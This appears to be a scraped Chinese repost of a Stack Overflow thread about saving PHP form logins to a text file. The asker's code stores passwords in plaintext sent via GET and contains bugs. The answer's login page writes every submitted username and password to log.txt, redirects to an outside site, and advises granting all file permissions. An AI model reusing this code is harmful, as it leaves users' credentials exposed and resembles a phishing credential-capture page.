gpt4 book ai didi

php - 创建一个登录名,并使用 php 将用户的输入存储在文本文件中

转载 作者:行者123 更新时间:2023-11-28 01:35:39 24 4
gpt4 key购买 nike

我想为我的简单登录站点创建一个创建帐户页面,用户在该页面上单击创建帐户按钮,他们将被带到一个包含以下表单的页面以输入登录名和密码。

<form action = "createaccount.php" method="get">
<h1> Please enter your information to create a new login account</h1>
<p>
<label>Login Name:</label><input type = "text" name = "name" />
<label>Password:</label><input type = "password" name = "pwd" />
<br/><br/>
</p>
<input type = "submit" id = "submit" value = "submit"/>
<input type = "reset" id = "reset" value = "reset"/>
</form>

在用户将数据输入到输入框后,我想运行一个 php 脚本将这些数据存储到一个名为 accounts.php 的文本文件中(我知道它不安全,但这些数据对我来说没有值(value)将其作为学习过程的一部分)。

到目前为止,我有以下 php 代码来将数据存储在文件 createaccount.php 中

<?php
$username = $_GET['name'];
$password = $_GET['pwd'];
$filename = 'accounts.txt';
$fp = fopen($filename, 'a+');
fwrite ($fp, $username . "," . $password . "\n");
$fclose ($fp);
echo ("account created");
header("Location: "login.html");
die();
?>

我认为这段代码应该从登录名和密码中获取输入,并将它们按照以下格式存储在名为 accounts.txt 的文件中

username1:password1
username2:password2
etc.

然后回显创建的屏幕帐户,然后将用户带到我的 login.html 页面,以便他们可以使用新帐户信息登录。

但我尝试运行代码,但它根本没有将我的数据保存到文件中,当我提交表单时,它也没有将我引导回我的登录屏幕,我只是收到一条消息,说页面无法显示。

最佳答案

如何创建一个简单的登录表单。

html (登录.html)

<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>

php (登录.php)

<html>
<head>
<title>Login</title>
</head>
<body>

<?php

//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){

$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);

} ?>


//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>

</body>
</html>

希望对您有所帮助,如有任何其他问题,请在 Skype 上加我。Skype:YouRGenetics网站:ItzGenetics.com

~注意如果您使用的是使用权限的托管公司(GoDaddy 等),请确保您授予对 php 文件和 txt 文件的所有权限。

关于php - 创建一个登录名,并使用 php 将用户的输入存储在文本文件中,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/28376291/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com